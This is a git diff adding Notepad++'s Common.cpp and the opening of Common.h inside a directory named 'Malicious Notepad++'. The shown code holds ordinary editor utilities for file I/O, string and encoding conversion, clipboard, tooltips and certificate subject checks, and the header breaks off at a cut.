b/Malicious Notepad++/src/MISC/Common/Common.cpp new file mode 100644 index 0000000..eaacb31 --- /dev/null +++ b/Malicious Notepad++/src/MISC/Common/Common.cpp @@ -0,0 +1,1128 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. +#include +#include +#include +#include +#include +#include "StaticDialog.h" + +#include "Common.h" +#include "../Utf8.h" + +WcharMbcsConvertor* WcharMbcsConvertor::_pSelf = new WcharMbcsConvertor; + +void printInt(int int2print) +{ + TCHAR str[32]; + wsprintf(str, TEXT("%d"), int2print); + ::MessageBox(NULL, str, TEXT(""), MB_OK); +} + + +void printStr(const TCHAR *str2print) +{ + ::MessageBox(NULL, str2print, TEXT(""), MB_OK); +} + +generic_string commafyInt(size_t n) +{ + generic_stringstream ss; + ss.imbue(std::locale("")); + ss << n; + return ss.str(); +} + +std::string getFileContent(const TCHAR *file2read) +{ + const size_t blockSize = 1024; + char data[blockSize]; + std::string wholeFileContent = ""; + FILE *fp = generic_fopen(file2read, TEXT("rb")); + + size_t lenFile = 0; + do + { + lenFile = fread(data, 1, blockSize - 1, fp); + if (lenFile <= 0) break; + + if (lenFile >= blockSize - 1) + data[blockSize - 1] = '\0'; + else + data[lenFile] = '\0'; + + wholeFileContent += data; + } + while (lenFile > 0); + + fclose(fp); + return wholeFileContent; +} + + +char getDriveLetter() +{ + char drive = '\0'; + TCHAR current[MAX_PATH]; + + ::GetCurrentDirectory(MAX_PATH, current); + int driveNbr = ::PathGetDriveNumber(current); + if (driveNbr != -1) + drive = 'A' + char(driveNbr); + + return drive; +} + + +generic_string relativeFilePathToFullFilePath(const TCHAR *relativeFilePath) +{ + generic_string fullFilePathName; + TCHAR fullFileName[MAX_PATH]; + BOOL isRelative = ::PathIsRelative(relativeFilePath); + + if (isRelative) + { + ::GetFullPathName(relativeFilePath, MAX_PATH, fullFileName, NULL); + fullFilePathName += fullFileName; + } + else + { + if ((relativeFilePath[0] == '\\' && relativeFilePath[1] != '\\') || relativeFilePath[0] == '/') + { + fullFilePathName += getDriveLetter(); + fullFilePathName += ':'; + } + + fullFilePathName += relativeFilePath; + } + + return fullFilePathName; +} + + +void writeFileContent(const TCHAR *file2write, const char *content2write) +{ + FILE *f = generic_fopen(file2write, TEXT("w+")); + fwrite(content2write, sizeof(content2write[0]), strlen(content2write), f); + fflush(f); + fclose(f); +} + + +void writeLog(const TCHAR *logFileName, const char *log2write) +{ + FILE *f = generic_fopen(logFileName, TEXT("a+")); + fwrite(log2write, sizeof(log2write[0]), strlen(log2write), f); + fputc('\n', f); + fflush(f); + fclose(f); +} + + +// Set a call back with the handle after init to set the path. +// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/shellcc/platform/shell/reference/callbackfunctions/browsecallbackproc.asp +static int __stdcall BrowseCallbackProc(HWND hwnd, UINT uMsg, LPARAM, LPARAM pData) +{ + if (uMsg == BFFM_INITIALIZED && pData != 0) + ::SendMessage(hwnd, BFFM_SETSELECTION, TRUE, pData); + return 0; +}; + + +generic_string folderBrowser(HWND parent, const generic_string & title, int outputCtrlID, const TCHAR *defaultStr) +{ + generic_string dirStr; + + // This code was copied and slightly modifed from: + // http://www.bcbdev.com/faqs/faq62.htm + + // SHBrowseForFolder returns a PIDL. The memory for the PIDL is + // allocated by the shell. Eventually, we will need to free this + // memory, so we need to get a pointer to the shell malloc COM + // object that will free the PIDL later on. + LPMALLOC pShellMalloc = 0; + if (::SHGetMalloc(&pShellMalloc) == NO_ERROR) + { + // If we were able to get the shell malloc object, + // then proceed by initializing the BROWSEINFO stuct + BROWSEINFO info; + memset(&info, 0, sizeof(info)); + info.hwndOwner = parent; + info.pidlRoot = NULL; + TCHAR szDisplayName[MAX_PATH]; + info.pszDisplayName = szDisplayName; + info.lpszTitle = title.c_str(); + info.ulFlags = BIF_USENEWUI | BIF_NONEWFOLDERBUTTON; + info.lpfn = BrowseCallbackProc; + + TCHAR directory[MAX_PATH]; + if (outputCtrlID != 0) + ::GetDlgItemText(parent, outputCtrlID, directory, _countof(directory)); + directory[_countof(directory) - 1] = '\0'; + + if (!directory[0] && defaultStr) + info.lParam = reinterpret_cast(defaultStr); + else + info.lParam = reinterpret_cast(directory); + + // Execute the browsing dialog. + LPITEMIDLIST pidl = ::SHBrowseForFolder(&info); + + // pidl will be null if they cancel the browse dialog. + // pidl will be not null when they select a folder. + if (pidl) + { + // Try to convert the pidl to a display generic_string. + // Return is true if success. + TCHAR szDir[MAX_PATH]; + if (::SHGetPathFromIDList(pidl, szDir)) + { + // Set edit control to the directory path. + if (outputCtrlID != 0) + ::SetDlgItemText(parent, outputCtrlID, szDir); + dirStr = szDir; + } + pShellMalloc->Free(pidl); + } + pShellMalloc->Release(); + } + return dirStr; +} + + +generic_string getFolderName(HWND parent, const TCHAR *defaultDir) +{ + generic_string folderName; + LPMALLOC pShellMalloc = 0; + + if (::SHGetMalloc(&pShellMalloc) == NO_ERROR) + { + BROWSEINFO info; + memset(&info, 0, sizeof(info)); + info.hwndOwner = parent; + info.pidlRoot = NULL; + TCHAR szDisplayName[MAX_PATH]; + info.pszDisplayName = szDisplayName; + info.lpszTitle = TEXT("Select a folder"); + info.ulFlags = 0; + info.lpfn = BrowseCallbackProc; + info.lParam = reinterpret_cast(defaultDir); + + // Execute the browsing dialog. + LPITEMIDLIST pidl = ::SHBrowseForFolder(&info); + + // pidl will be null if they cancel the browse dialog. + // pidl will be not null when they select a folder. + if (pidl) + { + // Try to convert the pidl to a display generic_string. + // Return is true if success. + TCHAR szDir[MAX_PATH]; + if (::SHGetPathFromIDList(pidl, szDir)) + // Set edit control to the directory path. + folderName = szDir; + pShellMalloc->Free(pidl); + } + pShellMalloc->Release(); + } + return folderName; +} + + +void ClientRectToScreenRect(HWND hWnd, RECT* rect) +{ + POINT pt; + + pt.x = rect->left; + pt.y = rect->top; + ::ClientToScreen( hWnd, &pt ); + rect->left = pt.x; + rect->top = pt.y; + + pt.x = rect->right; + pt.y = rect->bottom; + ::ClientToScreen( hWnd, &pt ); + rect->right = pt.x; + rect->bottom = pt.y; +} + + +std::vector tokenizeString(const generic_string & tokenString, const char delim) +{ + //Vector is created on stack and copied on return + std::vector tokens; + + // Skip delimiters at beginning. + generic_string::size_type lastPos = tokenString.find_first_not_of(delim, 0); + // Find first "non-delimiter". + generic_string::size_type pos = tokenString.find_first_of(delim, lastPos); + + while (pos != std::string::npos || lastPos != std::string::npos) + { + // Found a token, add it to the vector. + tokens.push_back(tokenString.substr(lastPos, pos - lastPos)); + // Skip delimiters. Note the "not_of" + lastPos = tokenString.find_first_not_of(delim, pos); + // Find next "non-delimiter" + pos = tokenString.find_first_of(delim, lastPos); + } + return tokens; +} + + +void ScreenRectToClientRect(HWND hWnd, RECT* rect) +{ + POINT pt; + + pt.x = rect->left; + pt.y = rect->top; + ::ScreenToClient( hWnd, &pt ); + rect->left = pt.x; + rect->top = pt.y; + + pt.x = rect->right; + pt.y = rect->bottom; + ::ScreenToClient( hWnd, &pt ); + rect->right = pt.x; + rect->bottom = pt.y; +} + + +int filter(unsigned int code, struct _EXCEPTION_POINTERS *) +{ + if (code == EXCEPTION_ACCESS_VIOLATION) + return EXCEPTION_EXECUTE_HANDLER; + return EXCEPTION_CONTINUE_SEARCH; +} + + +bool isInList(const TCHAR *token, const TCHAR *list) +{ + if ((!token) || (!list)) + return false; + + TCHAR word[64]; + size_t i = 0; + size_t j = 0; + + for (size_t len = lstrlen(list); i <= len; ++i) + { + if ((list[i] == ' ')||(list[i] == '\0')) + { + if (j != 0) + { + word[j] = '\0'; + j = 0; + + if (!generic_stricmp(token, word)) + return true; + } + } + else + { + word[j] = list[i]; + ++j; + } + } + return false; +} + + +generic_string purgeMenuItemString(const TCHAR * menuItemStr, bool keepAmpersand) +{ + TCHAR cleanedName[64] = TEXT(""); + size_t j = 0; + size_t menuNameLen = lstrlen(menuItemStr); + for (size_t k = 0 ; k < menuNameLen ; ++k) + { + if (menuItemStr[k] == '\t') + { + cleanedName[k] = 0; + break; + } + else + { + if (menuItemStr[k] == '&') + { + if (keepAmpersand) + cleanedName[j++] = menuItemStr[k]; + //else skip + } + else + cleanedName[j++] = menuItemStr[k]; + } + } + + cleanedName[j] = 0; + return cleanedName; +} + + +const wchar_t * WcharMbcsConvertor::char2wchar(const char * mbcs2Convert, UINT codepage, int lenMbcs, int *pLenWc, int *pBytesNotProcessed) +{ + // Do not process NULL pointer + if (!mbcs2Convert) + return nullptr; + + // Do not process empty strings + if (lenMbcs == 0 || lenMbcs == -1 && mbcs2Convert[0] == 0) + { + _wideCharStr.empty(); + return _wideCharStr; + } + + int bytesNotProcessed = 0; + int lenWc = 0; + + // If length not specified, simply convert without checking + if (lenMbcs == -1) + { + lenWc = MultiByteToWideChar(codepage, 0, mbcs2Convert, lenMbcs, NULL, 0); + } + // Otherwise, test if we are cutting a multi-byte character at end of buffer + else if (lenMbcs != -1 && codepage == CP_UTF8) // For UTF-8, we know how to test it + { + int indexOfLastChar = Utf8::characterStart(mbcs2Convert, lenMbcs-1); // get index of last character + if (indexOfLastChar != 0 && !Utf8::isValid(mbcs2Convert+indexOfLastChar, lenMbcs-indexOfLastChar)) // if it is not valid we do not process it right now (unless its the only character in string, to ensure that we always progress, e.g. that bytesNotProcessed < lenMbcs) + { + bytesNotProcessed = lenMbcs-indexOfLastChar; + } + lenWc = MultiByteToWideChar(codepage, 0, mbcs2Convert, lenMbcs-bytesNotProcessed, NULL, 0); + } + else // For other encodings, ask system if there are any invalid characters; note that it will not correctly know if last character is cut when there are invalid characters inside the text + { + lenWc = MultiByteToWideChar(codepage, (lenMbcs == -1) ? 0 : MB_ERR_INVALID_CHARS, mbcs2Convert, lenMbcs, NULL, 0); + if (lenWc == 0 && GetLastError() == ERROR_NO_UNICODE_TRANSLATION) + { + // Test without last byte + if (lenMbcs > 1) lenWc = MultiByteToWideChar(codepage, MB_ERR_INVALID_CHARS, mbcs2Convert, lenMbcs-1, NULL, 0); + if (lenWc == 0) // don't have to check that the error is still ERROR_NO_UNICODE_TRANSLATION, since only the length parameter changed + { + // TODO: should warn user about incorrect loading due to invalid characters + // We still load the file, but the system will either strip or replace invalid characters (including the last character, if cut in half) + lenWc = MultiByteToWideChar(codepage, 0, mbcs2Convert, lenMbcs, NULL, 0); + } + else + { + // We found a valid text by removing one byte. + bytesNotProcessed = 1; + } + } + } + + if (lenWc > 0) + { + _wideCharStr.sizeTo(lenWc); + MultiByteToWideChar(codepage, 0, mbcs2Convert, lenMbcs-bytesNotProcessed, _wideCharStr, lenWc); + } + else + _wideCharStr.empty(); + + if (pLenWc) + *pLenWc = lenWc; + if (pBytesNotProcessed) + *pBytesNotProcessed = bytesNotProcessed; + + return _wideCharStr; +} + + +// "mstart" and "mend" are pointers to indexes in mbcs2Convert, +// which are converted to the corresponding indexes in the returned wchar_t string. +const wchar_t * WcharMbcsConvertor::char2wchar(const char * mbcs2Convert, UINT codepage, int *mstart, int *mend) +{ + // Do not process NULL pointer + if (!mbcs2Convert) return NULL; + + int len = MultiByteToWideChar(codepage, 0, mbcs2Convert, -1, NULL, 0); + if (len > 0) + { + _wideCharStr.sizeTo(len); + len = MultiByteToWideChar(codepage, 0, mbcs2Convert, -1, _wideCharStr, len); + + if ((size_t)*mstart < strlen(mbcs2Convert) && (size_t)*mend <= strlen(mbcs2Convert)) + { + *mstart = MultiByteToWideChar(codepage, 0, mbcs2Convert, *mstart, _wideCharStr, 0); + *mend = MultiByteToWideChar(codepage, 0, mbcs2Convert, *mend, _wideCharStr, 0); + if (*mstart >= len || *mend >= len) + { + *mstart = 0; + *mend = 0; + } + } + } + else + { + _wideCharStr.empty(); + *mstart = 0; + *mend = 0; + } + return _wideCharStr; +} + + +const char* WcharMbcsConvertor::wchar2char(const wchar_t * wcharStr2Convert, UINT codepage, int lenWc, int *pLenMbcs) +{ + if (nullptr == wcharStr2Convert) + return nullptr; + + int lenMbcs = WideCharToMultiByte(codepage, 0, wcharStr2Convert, lenWc, NULL, 0, NULL, NULL); + if (lenMbcs > 0) + { + _multiByteStr.sizeTo(lenMbcs); + WideCharToMultiByte(codepage, 0, wcharStr2Convert, lenWc, _multiByteStr, lenMbcs, NULL, NULL); + } + else + _multiByteStr.empty(); + + if (pLenMbcs) + *pLenMbcs = lenMbcs; + return _multiByteStr; +} + + +const char * WcharMbcsConvertor::wchar2char(const wchar_t * wcharStr2Convert, UINT codepage, long *mstart, long *mend) +{ + if (nullptr == wcharStr2Convert) + return nullptr; + + int len = WideCharToMultiByte(codepage, 0, wcharStr2Convert, -1, NULL, 0, NULL, NULL); + if (len > 0) + { + _multiByteStr.sizeTo(len); + len = WideCharToMultiByte(codepage, 0, wcharStr2Convert, -1, _multiByteStr, len, NULL, NULL); // not needed? + + if (*mstart < lstrlenW(wcharStr2Convert) && *mend < lstrlenW(wcharStr2Convert)) + { + *mstart = WideCharToMultiByte(codepage, 0, wcharStr2Convert, *mstart, NULL, 0, NULL, NULL); + *mend = WideCharToMultiByte(codepage, 0, wcharStr2Convert, *mend, NULL, 0, NULL, NULL); + if (*mstart >= len || *mend >= len) + { + *mstart = 0; + *mend = 0; + } + } + } + else + _multiByteStr.empty(); + + return _multiByteStr; +} + + +std::wstring string2wstring(const std::string & rString, UINT codepage) +{ + int len = MultiByteToWideChar(codepage, 0, rString.c_str(), -1, NULL, 0); + if (len > 0) + { + std::vector vw(len); + MultiByteToWideChar(codepage, 0, rString.c_str(), -1, &vw[0], len); + return &vw[0]; + } + return std::wstring(); +} + + +std::string wstring2string(const std::wstring & rwString, UINT codepage) +{ + int len = WideCharToMultiByte(codepage, 0, rwString.c_str(), -1, NULL, 0, NULL, NULL); + if (len > 0) + { + std::vector vw(len); + WideCharToMultiByte(codepage, 0, rwString.c_str(), -1, &vw[0], len, NULL, NULL); + return &vw[0]; + } + return std::string(); +} + + +// Escapes ampersands in file name to use it in menu +template +generic_string convertFileName(T beg, T end) +{ + generic_string strTmp; + + for (T it = beg; it != end; ++it) + { + if (*it == '&') strTmp.push_back('&'); + strTmp.push_back(*it); + } + + return strTmp; +} + + +generic_string intToString(int val) +{ + std::vector vt; + bool isNegative = val < 0; + // can't use abs here because std::numeric_limits::min() has no positive representation + //val = std::abs(val); + + vt.push_back('0' + static_cast(std::abs(val % 10))); + val /= 10; + while (val != 0) + { + vt.push_back('0' + static_cast(std::abs(val % 10))); + val /= 10; + } + + if (isNegative) + vt.push_back('-'); + + return generic_string(vt.rbegin(), vt.rend()); +} + + +generic_string uintToString(unsigned int val) +{ + std::vector vt; + + vt.push_back('0' + static_cast(val % 10)); + val /= 10; + while (val != 0) + { + vt.push_back('0' + static_cast(val % 10)); + val /= 10; + } + + return generic_string(vt.rbegin(), vt.rend()); +} + +// Build Recent File menu entries from given +generic_string BuildMenuFileName(int filenameLen, unsigned int pos, const generic_string &filename) +{ + generic_string strTemp; + + if (pos < 9) + { + strTemp.push_back('&'); + strTemp.push_back('1' + static_cast(pos)); + } + else if (pos == 9) + { + strTemp.append(TEXT("1&0")); + } + else + { + strTemp.append(uintToString(pos + 1)); + } + strTemp.append(TEXT(": ")); + + if (filenameLen > 0) + { + std::vector vt(filenameLen + 1); + // W removed from PathCompactPathExW due to compiler errors for ANSI version. + PathCompactPathEx(&vt[0], filename.c_str(), filenameLen + 1, 0); + strTemp.append(convertFileName(vt.begin(), vt.begin() + lstrlen(&vt[0]))); + } + else + { + // (filenameLen < 0) + generic_string::const_iterator it = filename.begin(); + + if (filenameLen == 0) + it += PathFindFileName(filename.c_str()) - filename.c_str(); + + // MAX_PATH is still here to keep old trimming behaviour. + if (filename.end() - it < MAX_PATH) + { + strTemp.append(convertFileName(it, filename.end())); + } + else + { + strTemp.append(convertFileName(it, it + MAX_PATH / 2 - 3)); + strTemp.append(TEXT("...")); + strTemp.append(convertFileName(filename.end() - MAX_PATH / 2, filename.end())); + } + } + + return strTemp; +} + + +generic_string PathRemoveFileSpec(generic_string& path) +{ + generic_string::size_type lastBackslash = path.find_last_of(TEXT('\\')); + if (lastBackslash == generic_string::npos) + { + if (path.size() >= 2 && path[1] == TEXT(':')) // "C:foo.bar" becomes "C:" + path.erase(2); + else + path.erase(); + } + else + { + if (lastBackslash == 2 && path[1] == TEXT(':') && path.size() >= 3) // "C:\foo.exe" becomes "C:\" + path.erase(3); + else if (lastBackslash == 0 && path.size() > 1) // "\foo.exe" becomes "\" + path.erase(1); + else + path.erase(lastBackslash); + } + return path; +} + + +generic_string PathAppend(generic_string& strDest, const generic_string& str2append) +{ + if (strDest.empty() && str2append.empty()) // "" + "" + { + strDest = TEXT("\\"); + return strDest; + } + + if (strDest.empty() && not str2append.empty()) // "" + titi + { + strDest = str2append; + return strDest; + } + + if (strDest[strDest.length() - 1] == '\\' && (not str2append.empty() && str2append[0] == '\\')) // toto\ + \titi + { + strDest.erase(strDest.length() - 1, 1); + strDest += str2append; + return strDest; + } + + if ((strDest[strDest.length() - 1] == '\\' && (not str2append.empty() && str2append[0] != '\\')) // toto\ + titi + || (strDest[strDest.length() - 1] != '\\' && (not str2append.empty() && str2append[0] == '\\'))) // toto + \titi + { + strDest += str2append; + return strDest; + } + + // toto + titi + strDest += TEXT("\\"); + strDest += str2append; + + return strDest; +} + + +COLORREF getCtrlBgColor(HWND hWnd) +{ + COLORREF crRet = CLR_INVALID; + if (hWnd && IsWindow(hWnd)) + { + RECT rc; + if (GetClientRect(hWnd, &rc)) + { + HDC hDC = GetDC(hWnd); + if (hDC) + { + HDC hdcMem = CreateCompatibleDC(hDC); + if (hdcMem) + { + HBITMAP hBmp = CreateCompatibleBitmap(hDC, + rc.right, rc.bottom); + if (hBmp) + { + HGDIOBJ hOld = SelectObject(hdcMem, hBmp); + if (hOld) + { + if (SendMessage(hWnd, WM_ERASEBKGND, reinterpret_cast(hdcMem), 0)) + { + crRet = GetPixel(hdcMem, 2, 2); // 0, 0 is usually on the border + } + SelectObject(hdcMem, hOld); + } + DeleteObject(hBmp); + } + DeleteDC(hdcMem); + } + ReleaseDC(hWnd, hDC); + } + } + } + return crRet; +} + + +generic_string stringToUpper(generic_string strToConvert) +{ + std::transform(strToConvert.begin(), strToConvert.end(), strToConvert.begin(), ::toupper); + return strToConvert; +} + + +generic_string stringReplace(generic_string subject, const generic_string& search, const generic_string& replace) +{ + size_t pos = 0; + while ((pos = subject.find(search, pos)) != std::string::npos) + { + subject.replace(pos, search.length(), replace); + pos += replace.length(); + } + return subject; +} + + +std::vector stringSplit(const generic_string& input, const generic_string& delimiter) +{ + size_t start = 0U; + size_t end = input.find(delimiter); + std::vector output; + const size_t delimiterLength = delimiter.length(); + while (end != std::string::npos) + { + output.push_back(input.substr(start, end - start)); + start = end + delimiterLength; + end = input.find(delimiter, start); + } + output.push_back(input.substr(start, end)); + return output; +} + + +generic_string stringJoin(const std::vector& strings, const generic_string& separator) +{ + generic_string joined; + size_t length = strings.size(); + for (size_t i = 0; i < length; ++i) + { + joined += strings.at(i); + if (i != length - 1) + { + joined += separator; + } + } + return joined; +} + + +generic_string stringTakeWhileAdmissable(const generic_string& input, const generic_string& admissable) +{ + // Find first non-admissable character in "input", and remove everything after it. + size_t idx = input.find_first_not_of(admissable); + if (idx == std::string::npos) + { + return input; + } + else + { + return input.substr(0, idx); + } +} + + +double stodLocale(const generic_string& str, _locale_t loc, size_t* idx) +{ + // Copied from the std::stod implementation but uses _wcstod_l instead of wcstod. + const wchar_t* ptr = str.c_str(); + errno = 0; + wchar_t* eptr; +#ifdef __MINGW32__ + double ans = ::wcstod(ptr, &eptr); +#else + double ans = ::_wcstod_l(ptr, &eptr, loc); +#endif + if (ptr == eptr) + throw std::invalid_argument("invalid stod argument"); + if (errno == ERANGE) + throw std::out_of_range("stod argument out of range"); + if (idx != NULL) + *idx = (size_t)(eptr - ptr); + return ans; +} + +bool str2Clipboard(const generic_string &str2cpy, HWND hwnd) +{ + size_t len2Allocate = (str2cpy.size() + 1) * sizeof(TCHAR); + HGLOBAL hglbCopy = ::GlobalAlloc(GMEM_MOVEABLE, len2Allocate); + if (hglbCopy == NULL) + { + return false; + } + if (!::OpenClipboard(hwnd)) + { + ::GlobalFree(hglbCopy); + ::CloseClipboard(); + return false; + } + if (!::EmptyClipboard()) + { + ::GlobalFree(hglbCopy); + ::CloseClipboard(); + return false; + } + // Lock the handle and copy the text to the buffer. + TCHAR *pStr = (TCHAR *)::GlobalLock(hglbCopy); + if (pStr == NULL) + { + ::GlobalUnlock(hglbCopy); + ::GlobalFree(hglbCopy); + ::CloseClipboard(); + return false; + } + _tcscpy_s(pStr, len2Allocate / sizeof(TCHAR), str2cpy.c_str()); + ::GlobalUnlock(hglbCopy); + // Place the handle on the clipboard. + unsigned int clipBoardFormat = CF_UNICODETEXT; + if (::SetClipboardData(clipBoardFormat, hglbCopy) == NULL) + { + ::GlobalUnlock(hglbCopy); + ::GlobalFree(hglbCopy); + ::CloseClipboard(); + return false; + } + if (!::CloseClipboard()) + { + return false; + } + return true; +} + +bool matchInList(const TCHAR *fileName, const std::vector & patterns) +{ + for (size_t i = 0, len = patterns.size(); i < len; ++i) + { + if (PathMatchSpec(fileName, patterns[i].c_str())) + return true; + } + return false; +} + +generic_string GetLastErrorAsString(DWORD errorCode) +{ + generic_string errorMsg(_T("")); + // Get the error message, if any. + // If both error codes (passed error n GetLastError) are 0, then return empty + if (errorCode == 0) + errorCode = GetLastError(); + if (errorCode == 0) + return errorMsg; //No error message has been recorded + + LPWSTR messageBuffer = nullptr; + FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, + nullptr, errorCode, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPWSTR)&messageBuffer, 0, nullptr); + + errorMsg += messageBuffer; + + //Free the buffer. + LocalFree(messageBuffer); + + return errorMsg; +} + +HWND CreateToolTip(int toolID, HWND hDlg, HINSTANCE hInst, const PTSTR pszText) +{ + if (!toolID || !hDlg || !pszText) + { + return NULL; + } + + // Get the window of the tool. + HWND hwndTool = GetDlgItem(hDlg, toolID); + if (!hwndTool) + { + return NULL; + } + + // Create the tooltip. g_hInst is the global instance handle. + HWND hwndTip = CreateWindowEx(NULL, TOOLTIPS_CLASS, NULL, + WS_POPUP | TTS_ALWAYSTIP | TTS_BALLOON, + CW_USEDEFAULT, CW_USEDEFAULT, + CW_USEDEFAULT, CW_USEDEFAULT, + hDlg, NULL, + hInst, NULL); + + if (!hwndTip) + { + return NULL; + } + + // Associate the tooltip with the tool. + TOOLINFO toolInfo = { 0 }; + toolInfo.cbSize = sizeof(toolInfo); + toolInfo.hwnd = hDlg; + toolInfo.uFlags = TTF_IDISHWND | TTF_SUBCLASS; + toolInfo.uId = (UINT_PTR)hwndTool; + toolInfo.lpszText = pszText; + if (!SendMessage(hwndTip, TTM_ADDTOOL, 0, (LPARAM)&toolInfo)) + { + DestroyWindow(hwndTip); + return NULL; + } + + return hwndTip; +} + +bool isCertificateValidated(const generic_string & fullFilePath, const generic_string & subjectName2check) +{ + bool isOK = false; + HCERTSTORE hStore = NULL; + HCRYPTMSG hMsg = NULL; + PCCERT_CONTEXT pCertContext = NULL; + BOOL result; + DWORD dwEncoding, dwContentType, dwFormatType; + PCMSG_SIGNER_INFO pSignerInfo = NULL; + DWORD dwSignerInfo; + CERT_INFO CertInfo; + LPTSTR szName = NULL; + + generic_string subjectName; + + try { + // Get message handle and store handle from the signed file. + result = CryptQueryObject(CERT_QUERY_OBJECT_FILE, + fullFilePath.c_str(), + CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED, + CERT_QUERY_FORMAT_FLAG_BINARY, + 0, + &dwEncoding, + &dwContentType, + &dwFormatType, + &hStore, + &hMsg, + NULL); + + if (!result) + { + generic_string errorMessage = TEXT("Check certificate of ") + fullFilePath + TEXT(" : "); + errorMessage += GetLastErrorAsString(GetLastError()); + throw errorMessage; + } + + // Get signer information size. + result = CryptMsgGetParam(hMsg, CMSG_SIGNER_INFO_PARAM, 0, NULL, &dwSignerInfo); + if (!result) + { + generic_string errorMessage = TEXT("CryptMsgGetParam first call: "); + errorMessage += GetLastErrorAsString(GetLastError()); + throw errorMessage; + } + + // Allocate memory for signer information. + pSignerInfo = (PCMSG_SIGNER_INFO)LocalAlloc(LPTR, dwSignerInfo); + if (!pSignerInfo) + { + generic_string errorMessage = TEXT("CryptMsgGetParam memory allocation problem: "); + errorMessage += GetLastErrorAsString(GetLastError()); + throw errorMessage; + } + + // Get Signer Information. + result = CryptMsgGetParam(hMsg, CMSG_SIGNER_INFO_PARAM, 0, (PVOID)pSignerInfo, &dwSignerInfo); + if (!result) + { + generic_string errorMessage = TEXT("CryptMsgGetParam: "); + errorMessage += GetLastErrorAsString(GetLastError()); + throw errorMessage; + } + + // Search for the signer certificate in the temporary + // certificate store. + CertInfo.Issuer = pSignerInfo->Issuer; + CertInfo.SerialNumber = pSignerInfo->SerialNumber; + + pCertContext = CertFindCertificateInStore(hStore, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_SUBJECT_CERT, (PVOID)&CertInfo, NULL); + if (not pCertContext) + { + generic_string errorMessage = TEXT("Certificate context: "); + errorMessage += GetLastErrorAsString(GetLastError()); + throw errorMessage; + } + + DWORD dwData; + + // Get Subject name size. + dwData = CertGetNameString(pCertContext, CERT_NAME_SIMPLE_DISPLAY_TYPE, 0, NULL, NULL, 0); + if (dwData <= 1) + { + throw generic_string(TEXT("Certificate checking error: getting data size problem.")); + } + + // Allocate memory for subject name. + szName = (LPTSTR)LocalAlloc(LPTR, dwData * sizeof(TCHAR)); + if (!szName) + { + throw generic_string(TEXT("Certificate checking error: memory allocation problem.")); + } + + // Get subject name. + if (CertGetNameString(pCertContext, CERT_NAME_SIMPLE_DISPLAY_TYPE, 0, NULL, szName, dwData) <= 1) + { + throw generic_string(TEXT("Cannot get certificate info.")); + } + + // check Subject name. + subjectName = szName; + if (subjectName != subjectName2check) + { + throw generic_string(TEXT("Certificate checking error: the certificate is not matched.")); + } + + isOK = true; + } + catch (generic_string s) + { + // display error message + MessageBox(NULL, s.c_str(), TEXT("Certificate checking"), MB_OK); + } + catch (...) + { + // Unknown error + generic_string errorMessage = TEXT("Unknown exception occured. "); + errorMessage += GetLastErrorAsString(GetLastError()); + MessageBox(NULL, errorMessage.c_str(), TEXT("Certificate checking"), MB_OK); + } + + // Clean up. + if (pSignerInfo != NULL) LocalFree(pSignerInfo); + if (pCertContext != NULL) CertFreeCertificateContext(pCertContext); + if (hStore != NULL) CertCloseStore(hStore, 0); + if (hMsg != NULL) CryptMsgClose(hMsg); + if (szName != NULL) LocalFree(szName); + + return isOK; +} + +bool isAssoCommandExisting(LPCTSTR FullPathName) +{ + bool isAssoCommandExisting = false; + + bool isFileExisting = PathFileExists(FullPathName) != FALSE; + + if (isFileExisting) + { + PTSTR ext = PathFindExtension(FullPathName); + + HRESULT hres; + wchar_t buffer[MAX_PATH] = TEXT(""); + DWORD bufferLen = MAX_PATH; + + // check if association exist + hres = AssocQueryString(ASSOCF_VERIFY|ASSOCF_INIT_IGNOREUNKNOWN, ASSOCSTR_COMMAND, ext, NULL, buffer, &bufferLen); + + isAssoCommandExisting = (hres == S_OK) // check if association exist and no error + && (buffer != NULL) // check if buffer is not NULL + && (wcsstr(buffer, TEXT("notepad++.exe")) == NULL); // check association with notepad++ + + } + return isAssoCommandExisting; +} \ No newline at end of file diff --git a/Malicious Notepad++/src/MISC/Common/Common.h b/Malicious Notepad++/src/MISC/Common/Common.h new file mode 100644 index 0000000..20a7658 --- /dev/null +++ b/Malicious Notepad++/src/MISC/Common/Common.h @@ -0,0 +1,191 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. +#pragma once +#include +#include +#include +#include +#include +#include + + +const bool dirUp = true; +const bool dirDown = false; + +#define NPP_CP_WIN_1252 1252 +#define NPP_CP_DOS_437 437 +#define NPP_CP_BIG5 950 + +#define LINKTRIGGERED WM_USER+555 + +#define 